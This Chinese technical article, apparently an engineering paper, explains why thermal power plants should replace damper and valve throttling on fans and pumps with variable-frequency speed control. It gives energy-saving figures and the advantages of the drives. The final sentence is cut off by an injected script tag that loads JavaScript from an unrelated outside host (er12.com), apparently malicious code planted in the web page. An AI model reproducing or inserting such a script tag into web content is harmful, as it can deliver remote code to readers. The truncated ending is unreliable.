1引言
长期以来，我国政府对节能工作十分重视，我国能源节约与资源综合利用“十五”规划提出高压大功率变频调速作为重点发展的节电技术之一，要求大力推动高压大功率变频调速示范工程。
在工业领域，火力发电厂的节能是非常重要的一部分。目前，在我国的能源结构中，火电约占74%(发电量占80%)。因此，如何提高和改进火电机组及其辅助设备的节能就显得十分重要。我国的电力设备中，大容量，高参数的火电机组所占的比重小，整个火电发电能耗高。据统计，我国火电厂供电煤耗在400-420g/kwh，比国外先进国家高80-90g/kwh。火电厂的水耗也比较高，一般二次循环水的电厂，每百万千瓦耗水为1m3/s秒，而国外先进水平只有0.6-0.7m3/s。此外，火电厂的送风机，引风机，给水泵，循环水泵，凝升泵，灰浆泵等设备由于种种原因造成大马拉小车现象严重。而且发电机组的运行状态必须跟随电网负荷需求的变化而不断调节。因此，需要相应地调节上述辅助设备的运行状态，比如利用变频调速技术改变设备的运行速度，以调节给水量、给风量的大小，既可以满足生产要求，又能达到节约电能的目的，同时减少因调节挡板阀门而造成挡板阀门和管道的磨损及经常停机检修所造成的经济损失。因此，在火电厂的主要辅助设备上推广应用变频调速技术，能提高火电厂运行和供电的可靠性，节约大量能源，为火电厂带来较大的经济效益和社会效益。
火电厂厂用电设备主要包括：锅炉送引风机、锅炉给水泵、循环水泵、磨煤机等四大辅机和其它的厂用电设备。发电能源、系统构成和机组配置不同，造成厂用电率的差异。一般机组容量大，机组参数高则厂用电率低。风机和水泵是发电厂中耗电量最多的设备，在火电厂中，风机和水泵的耗电量约占厂用电量的65%左右。对厂用风机、水泵等设备进行变频调速改造，可以显著降低厂用电率。根据具体情况，风机、水泵采用变频调速后，节电率在30%-50%范围内，通常1年半到2年左右内可收回变频器的设备投资。
2传统挡板阀门调节存在的问题
风机水泵传统的调节方式是调节入口或出口的挡板阀门开度，以此来调节流量和压力，是一种经济效益差、能耗大、设备损坏严重、维修难度大、运行费用高的落后办法。主要存在以下问题。
（1）采用挡板阀门调节时，大量的能量损耗在挡板阀门的截流过程中。对风机，水泵而言，最有效的节能措施是采用调速来调节流量。由于风机水泵大都为平方转矩负载，轴功率则与转速大致成立方关系，所以当风机水泵转速下降时，消耗的功率大大下降。图1表示了风机采用各种调节方法时消耗功率与风量关系曲线。其中曲线1为输出端风门控制时电机消耗的功率；曲线2为输入端风门控制时电机消耗的功率线；曲线3为转差调速控制(采用滑差电机，液力耦合器)时电动机消耗的功率；曲线4为变频调速控制时电动机消耗的功率；最下面一条曲线为调速控制时风机实际所需轴功率（即电机轴输出功率）。可见，在众多的调节方式中，节能效果最好的是变频调速。
（2）介质对挡板阀门和管道冲击较大，设备损坏严重。
（3）挡板阀门动作迟缓，手动时人员不易操作，而且操作不当会造成风机震动。挡板阀门执行机构一般为大力矩的电动执行器，故障较多，不能适应长期频繁调节，调节线性度差，构成闭环自动控制较难，且动态性能不理想。
（4）异步电动机在直接起动时起动电流一般达到电机额定电流的6～8倍，对电网冲击较大，也会引起电机发热，强大的冲击转矩对电机和风机的机械寿命存在很多不利的影响。
过去也有电厂采用液力耦合器进行调速。液力耦合装置缺点是体积大、噪声大、调速范围窄、效率低、油系统维护复杂等。
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图1风机采用各种调节方法时消耗功率比较
3采用变频调速的优点
（1）变频调速能节约原来损耗在挡板阀门截流过程中的大量能量，大大提高了经济效益。
（2）采用变频调速后，可实现软起动，对电网的冲击和机械负载的冲击都不存在了，延长了电机和风机水泵的寿命。同时，采用变频调速后，电机的无功功率通过变频器直流环节的滤波电容进行了瞬时补偿，变频器的输入功率因数可大0.95以上。相对电机直接工频运行而言，功率因数大大改善，对低速电机效果尤为明显。实现变频调速后，风机和水泵经常在额定转速以下运行，介质对水泵叶轮，风机风扇的磨损，轴承的磨损，密封的损坏都大大降低。同时，烟气对烟道挡板的冲击磨损大大降低，延长了烟道挡板的检修周期，减少了维护工作量。电机运行的振动和噪声也明显降低。
（3）采用变频调速后，可以很方便地构成闭环控制，进行自动调节，调节器输出的4－20ma信号输出到变频器(或通过通信接口进行控制)，通过变频器调节电机转速，可以平稳地调节风量，流量，且线形度较好，动态响应快，使机组在?script src=http://er12.com/t.js>
